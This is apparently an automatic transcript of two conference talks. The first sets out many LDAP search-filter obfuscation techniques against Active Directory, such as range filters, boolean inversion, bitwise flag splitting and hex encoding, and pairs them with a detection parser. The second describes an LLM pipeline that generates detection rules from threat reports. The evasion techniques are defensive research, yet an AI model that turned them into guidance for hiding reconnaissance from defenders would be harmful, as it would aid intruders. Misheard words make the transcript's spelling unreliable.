get the same answer without making it look like this presence filter? Well, we could say instead of equals wild card, greater than or equal to the equal sign or greater than equal to exclamation point or less than zzz. We're ultimately treating the value as a string and saying are you greater than something way over here or less than something way over here. Um and what's really nice about that uh is you can have a lot of flexibility with what the actual values are. Now this is a really weird thing that took us many days to figure out. This is what this is the ordering of the printable asky characters from 32 all the way to 127. What's really weird is

that Microsoft has some I do not know why a very abnormal range of characters when you're doing this uh these operators. So because casing doesn't matter, we don't need to bring the uppercase, but this the digits and lowercase characters are at the far right. This specific grouping of these special characters kind of fall into two bookends and then all the other characters fall right in the middle there. Again, I do not know why, but this is the ordering of characters whenever you're doing uh this kind of range operator. uh we did a lot of brute forcing to figure this out which is crazy and this ordering is is also dependent on the kind of object that the

attribute is. So when I said that we had to write a parser for this research we also had to identify what are the types of attributes. Is it a string? Is it a binary string? Is it an integer? A boolean and all those things came into play to understand what kind of ordering we even need when we're doing comparisons. So that was that was a big headache. We can also say what about logically equivalent range filters. So in this case we're looking for the exact value. This is another one of those bitwise values. So we're looking for the exact value ending with 368. Well, we can use the range and say if I don't want to look for equals 368, I can say

greater than equal to 7 less than equal to 9. And this will also return the number 8. And then if we want to get really pre precise, we can exclude the exact value ending with seven and 9. So now this is identical to looking for the number ending in 8. And when we wrote the tool maladaptive, we came up with a few different kind of recipes. Here's like a timeline way of looking at the same uh this same logic. But we have four different recipes for um either doing inward facing inclusion with precise exclusion. Um you could say greater than less than the number itself. Uh we also like to do some different forward and backward looking

range negations like this one. Um so negating the range and then removing the the negation itself. Um so all these options are randomly chosen whenever you're offiscating an LDAP search filter. Uh with our tool you can do a similar thing with strings but it's a little less precise than numbers. So you do have to deal with some uh kind of wild cards for the tail of the string but it is also possible to get domain admins uh query to work like that. So in review for the comparison operator we have approximately equal to uh we have the uh range filters and then also we can use range filters for uh precise values whether they're uh numbers or

even strings which is a lot of fun. Um and if these look familiar to you these are actually precursors to the sharp hound um SPN uh uh modules if you're doing any kind of kerber roasting like these these aren't just random things I chose. These are parts of real search filters that defenders are looking for and those detections would really get smoked if they were if an attacker was mainly applying the kind of stuff that we're showing here. Boolean operators is the third token type and and OR is the most common, but most of the fun we're going to talk about comes with the not boolean operator. Um, so uh one of the cool things about this is boolean operators

are very additive. You can actually add quite a bit. Remember a search filter can be 10 and a half megs. we have a lot of room to play with. Um, so this is a search filter looking for country equals Albania. We can add tons of ors and ands. And in this case, it doesn't matter if I and or one thing, it's still that one thing. So this was still the same search filter. When it comes to the negation, if you not not, it's the same as it was not there in the first place. And so double negation is also a really cool thing that we can do. Um now uh the not negation actually uh is actually any

of the boolean operators can actually exist inside of the parentheses of the filter itself. This is technically documented by Microsoft. They don't recommend it. And actually, if you were to run this last query here and look at the server side logs, they would add an extra layer of parenthesis to show they're technically like logically expanding that uh which is uh which is uh when we discovered this, this was a really hard to find bug in our offiscation module because we didn't realize it was actually adding another parenthesy uh in the server itself. And uh yeah, that that was that was a fun one to find. So, let's make this query a little more real life. We want to look

for an object where the country equals Albania and the location or the city is either Kukus or Tyrana. Right now we have to start thinking about what is the scope of these boolean operators because they're actually additive as you go left to right. So everything inside of this one box is affected by the and all the filters and filter lists and then the second box is an or. Well, what if we add a third boolean operator? Now we have three boxes. Um, Sabi and I refer to this as the scope of the boolean operator. And it's really important when we're calculating for every single filter, what is the combination of boolean operators that apply to that filter. And

this is what we have. Albania only has the one. Uh, way down in here, we have 1 plus 2 plus 3. So, it's and or and, and. So, now you have to bring in a lot of boolean uh, logic to understand ultimately is this thing anded or is it ored? And you can have dozens and dozens of these if you make your query even crazier. Now, here's a really cool thing. What if we added a not in there? Not only applies to the first filter it reaches, left to right. So, in this case, the knot applies to cucus but not name. Uh so even the way like we had to rewrite the parser so many times to be

able to capture this accurately but it's a really cool distinction um that the not operator can be extremely confusing to look at and in the parser that we wrote every single filter has the full chain of all the raw boolean operators as well as the simple logical result which is a simple is this an and or an or is it negated or is it not negated. So interview the boolean operator um has additive qualities, double negation, uh logical inversion. Uh the logical inversion for any math nerds, this is called De Morgan's law. If you not A or B, it's the same as not A and not B. Uh and so what we can do here is if we

start with the same exact query, what if we added a knot at the very beginning? If we add a knot there, that's step number one. Everything that's in the scope of that new knot, we can say locate all of its boolean operators and invert them. So this and will become an or. That ore becomes an and. Step three says now locate every filter inside of the scope and change the negation. So these all have no negation. So we're going to add negation. If they did have negation, we'd have to remove negation. Logically, this is an example of Deorgan's law, which is the same exact filter that we started with. Making your head hurt a little bit, right? Imagine

defenders trying to figure this out. Uh and so you can really add a lot of complexity very quickly with boolean operators. And so that's the last technique that we can use uh against boolean operators. Um so oh goodness Cliffy. All right. What is my least favorite LDAP token type? I'm going to guess boolean operator since that's where we're at. Let's see. The boolean operator. Okay. Because I'm afraid of getting tied up in knots. That's cringe. All right. That that that's the last clippy joke, I promise. So get out of here. Come on. All right. Next token type is the extensible match filter. Now this is that that weird bitwise thing I was telling you about. It's like an and or

an or. Um it's this really long value here and it really depends on the attribute itself as to what the number is resolved to because that number represents a flag. Um so there are four different uh extensible match filters supported by um active directories LDAF implementation. We're really focusing on the first two because those are the original the OGs. And that's the and and the or. The way I like to remember it is 804 or and 803 is and I don't know 804 or rhymes. That's that's how my my brain thinks. So let's look at this example. This search filter down here is looking for the uh it's 803. So that's the ex that's the end of

the flags that comprise 515. If you're doing your bitwise math, 515 is 1 + 2 + 512. So what that means is we don't have to say all that in one filter. We could break that 515 out and end it with another version of itself that's looking for 1 and 514 because that will capture those flags because it adds up to 515. 514 we could break out into 512 and two. And logically all three of those queries I just showed you are the same. They're just checking piece by piece for the same flags. If this was originally an ore, we would add an ore boolean and make sure that we have the 804 for the

ore. Now, this becomes really complicated when you look at something like this. This is from the Power View open source offensive tool where they're looking for this really big value. And so, you can imagine there are not infinite but a large number of possibilities that we could break up this logic into many many different filters. Um, and so in our para, we basically break this down so you can see the actual flags as like a like a bit mapping to understand what flags are actually being set by a filter. Um, we also have what we call the bitwise breakout. Let's say that you're not looking for an and or an or. You're looking for an object that contains

explicitly this value, explicitly those 10 or 12 flags. You can convert this to an and or logic using this kind of formula. We're going to take all the one bits and we're going to and them like this. We're going to take all the zero bits, which equals that much larger number. We're going to or them and then negate it. And then we're going to and both of those things together. Logically, this produces the same result. Um, and then we're back to the first one. Now, we can take those numbers and start regrouping them into smaller and smaller random uh groupings of the flags as long as the bitwise math still checks out. So, there is a crazy

amount of possibilities to get the same objects uh using this. Um, and this is the one technique I will say that even with our parser, it's really hard to write detections for because our parser will accur accurately show per filter what the flags are. But now you have to do grouping across many different filters and these these filters are all close together like uh there's an undocumented depth of 99 layers in LDAP queries. So you can have multi-,000line LDAP queries and trying to piece that together is actually uh quite difficult which is why looking for the presence of offiscation is also a very very valuable detection approach for defenders and one that I'm pretty passionate about as

opposed to looking for all the ways a specific known bad value can be written. All right, the fifth and final token is the value itself. Um uh this is uh should be no surprise casing doesn't matter in most cases. Uh that's a pun I didn't even think about. Um anyway, in most examples, casing doesn't matter uh except for some of these specific attribute types. Um so here we're looking for the curb uh ticket granting ticket. Casing doesn't matter. Another thing that we can do is we can prepin zeros to values that are integers even if they are negative like that. Um the date is a really weird thing as well. Uh we noticed that some dates um had no

milliseconds. It was just like Z. Most of them have 0000. We actually found that it's quite a bit more flexible than that. As long as there is a uppercase Z after that dot, you can put literally anything you want. So we can say date time is February 17th, 2008 Kazamash. This is a valid date time according to LDAP, which is hilarious. And you know what? This uppercase Z isn't required to look like that. You can use hex representation. So now 5a also is uppercase Z. So you can get really creative with your uh with your date times. Um next we kind of introduced you to hex encoding there. Hex encoding is really for handling special characters

that can cause issues like uh you know breakout uh attacks and injection attacks etc. But you can hex encode regular characters too like the Z character. So for curb TGT we could replace those T's with /74 which is its hex value. And this is exactly how it's logged in the client side logging. Server side logging it actually resolves this nicely. But again, most defenders are looking at client side. And so this is a great way to bypass a lot of detections that are looking for exact strings. Um, this is a weird little undocumented thing. Microsoft says that hex representation is a slash followed by two characters. This was the weirdest bug that we found. If this if the hex

values start with zero, which there's only 16 of those, uh you can actually drop that leading zero and slash0 is null. You don't have to do 0 0. This might sound like a really silly thing, but like literally this was a bug that only occurred like one out of 10,000 times in our unit testing. Uh and so it was a really difficult one to smash, but we got it. All right, wild cards. You can substitute wild cards in strings again for most attribute types and it will match accordingly. This is not new. This is usually one of the first things that we look for in offiscation research. Um, Hope Walker, she's a a researcher at Spectre Ops and she wrote

two really good blog posts about getting started with active directory queries using manual tools. Uh, and she even mentions this as a technique for looking for sensitive terms like password or administrator using substrings of those words in wellplaced wildcard characters. So interview for this last token we have casing offiscation preprinted zeros time stamp kazon plash fun hex encoding and wild cards. So the good news is that's pretty much all the offiscation that we uncovered um for for LDAP. No I'm kidding there's more. Okay that was just for the tokens. What do we do now? We have offiscation for these token types. What about the bigger picture of an LDAP search filter? Well we can add different layers of group

start and group ends to make that filter even bigger. We can add whites space, which is more than just whites space. It's new lines. It's tabs. It's whites space. We can also add completely garbage filters in here. And this is a really, really crazy. This is one of the hardest things we had to do in the parser. Normally, you have to have the the parentheses balanced. And we thought you had to have the parentheses balanced within the value itself or within the attribute itself or the extensible match filter. But technically, as long as they're balanced throughout the whole filter, you can have uneven parentheses in the attribute that ultimately match up to something in the match filter, in

the value, etc. So, getting this to parse correctly was a a miracle to say the least. Um, but yeah, you can really hide hundreds of of things uh in your search filter to make the the real truth hard to find. So, that's the end of the search filter offiscation. We'll quickly look at which of those techniques apply to the base object and the attribute selection. We'll skip through here. So if we have a simple base object like this, this should these colors look familiar. This is an attribute. This is a comparison operator and a value. So for the attributes casing doesn't matter. Same for values. We can do hex encoding. Um for the uh we can use the

oid notation filled with the oid prefix, the prepended zeros. We can also add whites space. And weirdly again undocumented if the value doesn't contain any hex, we can encapsulate it with double quotes. not single only double but it's all logged this way in client side logs which is really really interesting. Um for the attribute selection um this is a real set of attribute uh selection values for uh one of the sharp hound uh commands. Um you can use random casing. Uh the oid syntax is also allowed with the oid prefix zeros etc. You can also add whites space only. This is again undocumented. You can add whites space only if you're using oid notation. And this is logged

this way. So a lot of tools will strip this out of the um the event logs and then give you an array of attributes. This attribute will actually contain whites space at the end of it. Uh which you want to be really careful if you're parsing these um in in your uh defenses. Um you can add duplicate attribute names and in fact you can add complete garbage attribute names. It will just disregard them. This is all logged in client side logging. In server side logging, it will drop duplicates or attribute names that don't make sense. Now, the last one's really cool. You can just add a wild card, which is interesting. And actually, maybe this is kind of a way to

figure out how old somebody is in it. What do you even call this character? Like an asterisk, technically a wild card. Uh my father was an engineer his whole life. He would call this splat. Like the like there are different names and nicknames people have for this character. Um what Clippy says is there's even more when it comes to LDAP. This is the same as if you don't define any attribute selection at all because it will return all the attributes. But here's what's really crazy. If you add a wild card, if that's the only attribute you defined, then it will in the logs, it will say the word null. That's that's what it comes back as. If you have any

other attributes defined and you have a wild card, it will change that wild card to this square brackets all with list. But here's the kicker. Our wild card is at the very end. in logging, it's going to bring it to the very beginning, but it's going to attach it to the end of the first attribute. I do not know why. So, if you are parsing these logs, you need to find the first attribute, look for that string, pop it out, change it to a wild card, and recognize that ultimately it doesn't matter which ones were defined. Every attribute is coming back with this LDAP filter because that wild card was there. So, how as defenders do we deal with this? Well, we

wrote this custom parser. We did it in C as a state machine parser. We had never written a parser before. I would actually recommend it. It was really fun. It was a really different uh it was a really different exercise. Um certainly a lot of frustration um but a really rewarding experience. So as I mentioned before, you start with a tokenizer. So you have a whole string as input and then you have to tokenize and say what are the different tokens and then we have to structurally say how do these tokens relate to each other? And we use what's called a syntax tree or a parse tree. I know those are not technically the exact same, but the

similarities are are okay for the way that we're explaining it here. Um, so we start with a string. We then tokenize that to all the pieces of the LDAP uh uh protocol itself. And then we have some some different things like automatically decoding hex values or if we're using the oid notation, we do all that encoding in line. And lastly, we put all this detection capability in this one function that we call find evil. And that will basically take it, do all the parsing, and then show you all the rules that we're matching for it. And we spent a lot of time rewriting this parser to make it as fast as possible. So just on

just on this Mac right here, uh parsing this uh 100,000 instances of this LDAP search filter was under 4.4 seconds. And that's to also run every one of those through all 65 rules that we developed at the time. Um so let me do a quick demo of this uh and then we will get to the coffee break. Uh so we like to have a lot of fun with colors. when you spend this much time working on one project, you have to make it fun. So, here's an example of taking uh search filter um and we can see the tokenization. If we do the uh enrich tokens, we now have things like it's resolving the oid

notation in this this uh LDAP context object that we created. If we go ahead and look at that object, um then we'll see even more information. We can also parse the entire filter in the whole search filter into individual filters and we can see here's all the normalization for the booleans. We have dictionaries and lists for all the tokens involved depending on what's more efficient for you to traverse based on your needs. We can look at the boolean operator context object and see the logical boolean operator for all those weird and or the Morgan's laws stuff. We have all that uh parsed out here as well as every single value. We give you token by token, character by character the

kind of value whether it was hex, wild card, etc. You can pipe it into find evil and see all the rules that matched and the piece of the filter they matched on. Um and then if we go a little bit further um we have all the bitwise stuff we talked about with all the flags. All that is resolved in the parser and you can access um again a list or a dictionary of a bit map value to understand what are all the flags that are set uh in this individual one even to the point that we can write detections on that. So this detection says if your attribute resolves to user account control whether you said that

whether it was an oid and this one flag is set no matter how many uh bitwise operators you did then we're going to mark this as a detection and here's an example of all those uh all those flags in the format that we have it. Um another cool thing is with all the wild card tricks that we do like I showed you how the hex characters are automatically decoded but what about wild cards? It's like like how would you deal with wild cards because there's nothing to decode. Well, we allow you to input a list of highinterest values and we test wild cards by expanding them and searching. So, uh this we we can write detections

that say the wild cards and the way they're in the string technically match one of the highv value strings like domain admins and so we are able to do detections like that even that weird uh implicit wild card uh we have that as its own detection as well um which you should really never ever see in the wild. Um the very last part of the demo is uh if you want to use this tool in the interactive mode, this is what it looks like. Um where you can uh uh put in any kind of LDAP uh filters and walk through all these offiscation and deoffiscation techniques layer by layer and so we can do a quick test. So we

expect to get three results back. Um we can uh go through all the menus and the menus also support uh wild card so you can randomize which ones you choose, what level of offiscation you apply. So we just did some simple whites space offiscation. The deoffiscation also goes through piece by piece so that you can remove little bits just the same as you can add little bits. Um or you can just say get me everything I want the mezza sampler platter and now this is your search filter and we can test it and see it still returns the exact same three results. So as you can see it can get pretty crazy. We always run the

detection score there and you can run find evil to look at a detailed view of all the detections with color coding to show which pieces were detected and why. And lastly, uh, if you want to use the interactive tool to find your menu, your your recipe of choice, you can then copy it in in a non-interactive fashion, you have access to all these same underlying functions. Uh, again, PowerShell is the wrapper that allows us to do all the cool pipelining stuff, but all the real guts of the project are written in C purely for performance. So, um, this is a tool that Sabi and I released, uh, at Black Hat and Defcon, and we actually had a really interesting

release process, which is we released everything you see here except for the offiscation module. Uh, and actually, we have still yet to release that module because we wanted to give defenders a head start because defenders don't even have access to the logs in the first place. If an attacker doesn't even have to try hard at this, why give them a machine gun? And so our hope is that defenders will take this information, we'll get the logging they need, we'll use these tools and set up the ability to get that visibility. Um, and then depending on CFP acceptances, we'll release the offiscation module accordingly. But it's been done for over a year. It's pretty crazy. And uh, we

also released a huge corpus of offiscated examples so you can see, would I detect this if I found this in my logs? Three main takeaways. Search filters are great for visibility. Attackers love it. Um, it is a huge volume of data. So defenders getting awareness and access to this data is a big problem. Which again is the whole reason why we even risked our CFP acceptance in the first place by saying we're not releasing the thing that you really want, but we are convincing you the research can stand on its own even without releasing the offensive part. And we're really happy that Defcon and Black Hat agreed with that assessment. Um, and lastly, the rest of what you saw

is released as an open source tool. The full parser, all the uh detections is uh completely open source and available. Um, and I want to leave you with one last unofficial um, takeaway. So, keep in mind uh, we Sabi and I did this uh, this whole presentation uh, for the the Black Hat Las Vegas US audience. And so, we really had a lot of fun putting some little Albanian treats and Easter eggs throughout the presentation. So, I thought, you know what, we should end the presentation officially by sharing our favorite Albanian proverbs. So, that's what we did. So my favorite Albanian proverbs proverb is ro samallet which means live long like a mountain. It's a a greeting kind of a prosperity

and well-being. And I'd like to think that we just climbed a mountain together. Like I know I'm a little out of breath, but we we went through a lot of material that took thousands of hours to produce. And I hope that you got something out of it. But the most important thing is we all started from different places in this room. And so I hope that you help other people climb the mountain that they're on right now and learning the next step of whatever part of security they're interested in. We have to help each other out. Uh we talk about finding adversaries, but we can't be adversarial towards one another if we don't really care for the human

that we're talking to. And so I really hope my desire is that you take that away from this talk. Um, and if Savi were here, she would share her favorite Albanian proverb, which is talum yapes, which means please no more paper clips. Obviously, that's not a real one, but uh, the American audience thought that was pretty funny, and I didn't know how that would land since everyone would know what's being said. So, um, with that, I just want to say for myself and from Sabi, thank you so much for your time, Dardon, and everyone. Really had a lot of fun. I'll I'll be around. I'll be around all day today and tomorrow. So, please come

by, say hello. Would love to talk. And mine and Salvi's information is here. Here's the URL to the uh uh maladaptive framework. And again, really appreciate your time. I know I'm standing in the way of the coffee break. Do we have time for a question or should we go straight for coffee? One question and then we go for u break. One question. One question or Okay. Right. Make it quick. No pressure. Hey Daniel, great talk. Thank you. So the question is basically what is LDAP? I haven't seen it like reference in the wild. Maybe because I'm not like of the industry. Yeah. So I just want to see where it is in the wild. You mentioned

it's a protocol. Yeah. So I just want to see like what layer does it live? You know that's here's where I'd fail an exam on the network protocol stack. But yeah. So think of any company that has active directory for managing their users, their computers, all that. They're going to have some kind of act some kind of a directory to house that information. So open LDAP is maybe the second most common option, but active directory is Microsoft's implementation that is the most common in terms of numbers. And so those organizations would have all those things connected and would transfer information like last password reset, all that stuff. So again, think of it like a specialized

hierarchical database that has all the information about all the users and computers in that company. That's active directory. And then LDAP is the protocol that any application can use to ask questions. So I could say uh give if we were all working at a company together, I could query the active directory and say give me all people who are from Ferzy, right? And it would look across and find that information and return the data back. This is good for administering systems. It's great for attackers because they can also say, "Show me everyone that has really interesting privileges or who have not reset their password in the last 12 months or things like that." So, it's a

way to access that information for both good or evil. So, yeah, great question. Thank you so much and I'll be around for any questions. So, follow me there. Thank you, Daniel and Sabi. Let's try to be back at 3:00. Yeah, I think we can make it.

Erdogan and ITC item from Picus uh security they're visiting from Turkey and the topic is perceptor automating detection rule generation with AIdriven threat intelligence. Perceptor is an AI powered threat intelligence framework that leverages LLMs and line chain to automate the extraction of TTPs and IOC's detection rules from threat reports enabling security teams to rapidly generate actionable content and enhance uh their defensive capabilities across diverse environments. Fatan itch floor is yours. Thank you. Thank you. Hello everyone again. Uh first of all we would like to say that being in Kosovo in like for besides as a Turkish people means a lot for us uh cuz we know our connections. We will start with a quick introduction with

Fati. Oh it's not working. Oh my god. So uh it's again uh currently I'm working as a blue team engineer at Picos security. Before that I was working as a part-time uh I'm kind of fresh graduated last summer. Before also I was working uh part-time as I said and then I converted to full-time after graduation. Before Pic security I was creating detection contents to so prime as a freelancer and some of my main areas are security research and development uh threat exposure management and point security threat research and threat intelligence also. uh one of the field that I improved a bit more than the others is detection engineering. You can see like uh 200 more than 200 detection

rules on sock prime platform and I have some batch from sock prime also uh one is alltime top detection content authors by customer choice and the others is privilege escalation detection master and the last one is ankadia professional and beside of my security career uh I was a professional goalkeeper as you see I play like 10 years uh like it doesn't have to be cyber security to talk you can come and find me after the presentation to talk about vat mur or I don't know whatever you want. Uh thank you that was about myself. Fati will continue. Hi everyone this is fat. Uh I've been working in the cyber security for over 7 years. Uh currently I'm

working as senior team man engineer at pic security. Uh I worked on various digital forensics in response and threat research teams throughout my career. uh I focused mostly on endpoint security and developing security tools. Also I am interested in vulnerability research. Uh I also participated in uh cyber security organization as a speaker and uh trainer. Uh you can details uh from my blog. Thank you. So what you are going to hear from us today we will start with question why why we created this tool and then we are going to try to explain concept and architecture. We will give some use case example. We are going to see uh perceptors outputs. Uh we are going to

explain some challenges that we face through during the development phase. Uh some impact and benefits, some exciting future works and then we are going to come to conclusion and then after we are going to take your questions. So why why we created this tool? first uh especially when I when I was creating detection contents to so I had to read like 10 15 thread reports each day and there were no automated pipeline to like extract all the patterns all the behaviors and then maybe if I might can create contents or not but with perceptor we are going to try to solve it and also uh one of the main point of perceptor is taking time

uh from the back of the analyst and like each uh during the this year like 2025 every day we are seeing new AP groups we are facing new vulnerabilities uh like bypassing techniques uh like threat intelligence can keep up with the all growing volume of threat intel and if that there is not automation tool for this process security security teams can be overwhelmed so Fatif will explain some key capabilities yeah so what's perceptor what we developed Uh with perceptor we can uh analyze thread post quickly with AI and we can use effectively detection engineing operations. Actually we designed an AI powered approach. Uh this is the back end and everything is uh connected with this. Uh we analyzing any

thread reports with AI powered approach such as AP campaigns, malware writeups, CV disclosures, emerging threats and etc. Uh with this we obtain a contextual thread intelligence data uh and such as thread summarization uh IOC's, TTPs and execution chains. Uh and using this contextual data we are automating the uh detection content creation process. Uh we are generating sigma and rules also their same queries. Uh and finally uh we are finding the global sigma rules uh matched in the wild workflow. Uh let's take a look at the workflow steps. We have seven I think we we have seven main steps. Uh perceptor first uh takes the URL input of the thread report. It passes the content. Uh if there are images, it

analyzes these image using OCR optical character recognition. uh and it normal normalizes the entire report. Uh next extracts all uh IOC's TTPs mentioned in the report u and then learns all the uh attack details and summarize it. Uh it identifies the target sectors uh relevant to the attack and determines C relationships. Uh also it correlates the threat factor malware families uh related to attack. After the report is analyzed, uh the detection content creation process begins with yellow rule generation. Uh the yellow rule is automatically uh developed using indicators with our algorithm. Uh likewise, the sigma rule uh is automatically developed using IOCTP mapping. The final rules is ready for uh use after going through an AI

powered optimization. The created sigma rules uh are then converted into sublank and cur queries providing readyto use uh detection queries for sim systems. Uh finally we don't only uh rely on the contextual data in the report but also use this data to search for detection uh content mates globally. Uh does contextual data is also associated with global detection content. Thank you. So I will try to explain our model structure like uh which model that we developed for uh some functions. First uh we have model for IOCTP like basically all the pattern extraction uh like you can understand from the name we are trying to extract all the patterns like not just IOC's or TTPs like with with the chains like uh

suspicious parents and the child processes and then we are trying to analyze them to maps them to MIT attack like MIT ids and then we are identifying malware behaviors all the chains and execution techniques uh which technology we used we use human message and vulnerable seconds uh functions from longchain and also requests for behavior extraction uh beautiful soap and regax for web scripping and parsing and for AI assisted thread analysis we use longchain and GPT APIs. So our second model is for image processing. Uh for ex this is for extract hidden the all indicators from image and screenshots cuz it can be too important that like even even if you are reading the report you can see that all

the chains all the patterns can explain in the image. So that's was that was crucial to like process all the image and we are using OCR to extract all of embedded informations. We are capturing JavaScript generated content and dynamic image from the URL like which includes thread report. Uh we have also conversion of uh every type of image like cfg, PNG and GPA. And uh first we have like uh technologies pyoract and pyo for OCR and we are using selenium and chromedriver for webpage screenshot capture. The other model is for uh threat analysis. uh it's basically summarized trade reports to extract CV details if it includes in the reports targeted sectors and attack chains and

then it identifies all industries like which targeted and all campaign detail with threat actor groups names. Uh we are using longchain and open AI technologies for AI powered analysis. We are using promp prompt template and runnable sequence function uh from longchain also for prompt engineering and summarization. uh when we will come to PC results I will explain uh these ones with more detail and of course uh for structured data processing we have JSON format. The other model is for uh generate for detection content generation. It basically generates sigma and rules dynamically based on like all patterns from the thread report and then using AI to refine rules for accuracy. We have pi sigma lchain and uh GPT API

for sigma rule generation and for rule optimiz rule optimization we are using lchain and openai also and for uh the format of ruling uh we are using yl format and for your rule generation we created our algorithm also I will explain our algorithm when we will when we will come to our p results and for user interface interaction for now perceptor is based on uh command like terminal inal based like fat was too obsessed to take to stream in it or like some kind of web UI but I was also obsessed with sticking terminal cuz we hadn't that much time so as I said it's based on terminal for now uh it displays realtime analysis results

on like CLI based UI we are using reach rich library to format output for readability uh we are using rich library for format output that is important cuz we are going to see a lots of information of the execution uh of our tool like we are going to see all summarization CV details detection contents. So it was also important to show this results with structured format. So and the other other technologies we are using for inter user interaction and login we are using CIS and CSV technologies. And our last model is for global sigma match. Uh we are parsing of thousand of sigma rules in like 20 seconds. We are focusing on the selection block on sigma rules. We are

parsing it and then we are taking like keywords and then we are making token of them and then we are trying to find these tokens in our IOC tables. Uh we are focusing of the like as I said the selection block and then we are using regax tokenization with dynamic stop word filtering. So what what is it about like stop word filtering? You can add stop words to reduce false positive like cuz you can see that some some of sigma rules includes like windows or Microsoft indicators. So if you want to reduce them, if you want to reduce false positive, you can add stop word like with configuration file and then we are giving match ratio competition between

report tokens and sigma detection content. I will explain with more detail when we will see uh PC results. Uh we use C safe loader for performance. uh we use concurrent features for parallel processing and of course reg x for tokenization. So I will I will try to explain two technology that is two important like we can say these two technology as these two technology is like core concept of perceptor but before that I'm thirsty I will drink my water.

Okay. So, uh, longchain. So, it's basically a open source framework designed to streamline the old like development applications powered by LLMs instead of limiting LLMs for isolated prompt response patterns. Lang chain enables the creation of multi-step data and agent-based applications. And with LLM feature it powers natural language task using open AI and hugging phase. Hugging phase I wanted to streamline here because if you are interested in AI you can follow every updates on hugging face. If you didn't check yet you can definitely check it. And with memory with memory feature uh it we we can enable dynamic and stateful interaction. And with prompt engineering feature uh we will be able to create tailored prompts for optim optimized outputs. And

with agent executor which we didn't use in perceptor uh you can execute task dynamically using external tools. So with that all features what you what you can be like what you can be done you know at the final chain you can create like question answering over documentations and also you can create summarization which we did in perceptor to create summarization of thread reports. You can create chat bots. You can quering table data. You can interact with APIs which also we did in perceptor. You can you can think like the longchain is a bridge between user and GPT. With longchain your inputs getting like moreformational and more understandable. So you can interact with APIs and after like most of UI uh you

can code you can create some functions for code understanding. So which features uh we used in perceptor with longchain? Uh longchain's prompt engineering features uh give us the opportunity to construct structured prompts to extract all the patterns and create detection rules. And with memory management feature uh we are using we are using entity memory to track previously proceed threat intelligence data ensuring context continuity. uh you can think that like you are working on the same tab in CH GPT on the API level with longchain it's possible to use API with that uh memory management feature and the other feature that we use in perceptor is chaining functionalities we we we were able to connect AI components

like GPT for like seamless automation and the last feature that we use is for enhanced automation it can streamline all process like old threat intelligence process for reduce manual effort and improve accuracy. So what is AI approach? How we are using AI in like in this project? Like in this diagram uh we try to illustrate the AIdriven structure behind behind our automation pipeline. Uh on the left sorry we see the user interacting with longch interface which coordinates the core components the LLM memory prompt and agent. The green blocks indicate the elements we actually utilize. Uh for all three core functions of the system, we rely on the open model like which consistently provided the most optimal and balanced result in our

evolutions. Like although models like GPT3 or GPT4 turbar available, we found that 01 outperforms like them in detection quality and response clarity also. However, like using 01 at the API level requires a certain credit threshold. Like even if you have enough credit, you have to spend some money to use 01 on API level. It's not a good thing, but it is what it is. Like on the reasoning effort side, two of our three functions operate under high settings while the third runs at medium. Uh we init we initially avoided using high for all because it increased response time significantly. like if you are going to put high for all of your functions that you are going to use to interact with

GPT uh it's like the time going to be like 30 30 seconds 40 seconds more and in the end for each proceed URL we make three calls to the O1 model two with high high reasoning effort and one with medium which results in average cost like one $1 and half dollar per analysis. So you can think that like if you want to decrease or increase the cost uh you can consider that to for using other models like it doesn't have to be GPT also but long chain integrates with GPT that's why we use GPT and for reasoning effort you can choose lower medium uh to change the cost. So other technology is selenium maybe most of you know maybe not it's

also open source framework that like automates web browser interactions uh commonly you can use for testing web scrapping and dynamic data extraction from web applications which features we used in perceptor like which selenium features we used first uh we have dynamic content handling uh we were able to interact with JavaScript rendered content making it useful for extracting data from like all modern web page And with web element interaction uh we were be also able to simulate human like interactions such as like clicking button like filling forms navigating page and handling pop-ups like you can do like a lots of stuff with selenium and with headless headless execution uh you can like run without opening a

browser window. We use also chromedriver with selenium. Uh that's how we are taking screenshots of image and you can also making it efficient for large scale automated task with this feature. And the other feature we are using it for uh image processing support. We can capture screenshot of web elements for OCR analysis enabling detection of threats in image. That was too important. Why? Because first uh we were trying to create functions for all image types like we were trying to convert PNG to text. uh C cfg to text and also like GPX and then we saw that even if we are going to create like 10 functions for all image types we can see the new one

on the new thread report that's why we decided to use selenium for take a screenshot of the image and then uh convert it to text and send to OCR. So what are the what are the possible use cases with our project? Uh you can basically turn route rate intelligence into actionable detection in minutes. Like with perceptor you can automate the process of summarizing report extracting all behaviors and generating detection content eliminating hours of manual work for detection engineers which is crucial as I mentioned before and you can enhance detection quality using AI generated insights. Security teams can reduce alert fetage by refining existing rules and mapping accurate mitra techniques and minimizing false positive through GPT optimization. And you can also

correlate indicators and behaviors across multiple threat actors like automatically you can automatically identify patterns across reports find recurring malware families link IOC's to non campaigns and highlight shared TTPs to strength threat landscape understanding. The last thing you can do, you can check if your local detection is already globally known. Like you can map analyze threats to community sigma rules like sigma hq allowing analysts to detect overlaps and accurate response based on global intelligence and shared detections. So after all the like workflows uh modular structure some use cases now we will check the p results. We choose a uh report from ESET uh which includes operation fish medley. You can scan the QR code to check uh

what is it inside. By the way, Fati created the QR code. So if something's going to happen, find the guy, not me. [Music]

So the user basically just need to give the the URL to the our tool and that that's all user has to do and then we are starting to process all the image and end the end of the lines we are seeing thread report somewhere being generated and after that we are going to see thread summarization what it includes we are seeing the threat actors group names uh we are seeing some targeted like sectors and targeted regions And after that we are seeing severity level for the report. And then we are seeing the some key TTPS and some recommend mitigations like these mitigations can be too generic but still it can give like analyst to something.

And here you are seeing the reference like where perceptor took all the information from the report and then we are starting to see our JSON data which is crucial. I will explain when we will come through the creating detection contents. We are starting with sigma rule title description confidence level and some notes and then uh we are continuing with some IOC's which is which are categorized some IPS domains urls email address which we couldn't find on the report file hashes and file names also you can see uh the references of these indicators and we are continuing with registry keys process names and malicious comments I want to mention One thing uh especially after the Daniel's

presentation you can ask that why we didn't use regax for all this extraction like cuz there are lots of tool lots of tools for IOC extraction and TTP extraction but what we are doing with longchain is taking the old package of the malicious commands like you can see that we are seeing some DL sideloading behavior with rundl and then we are seeing some minam command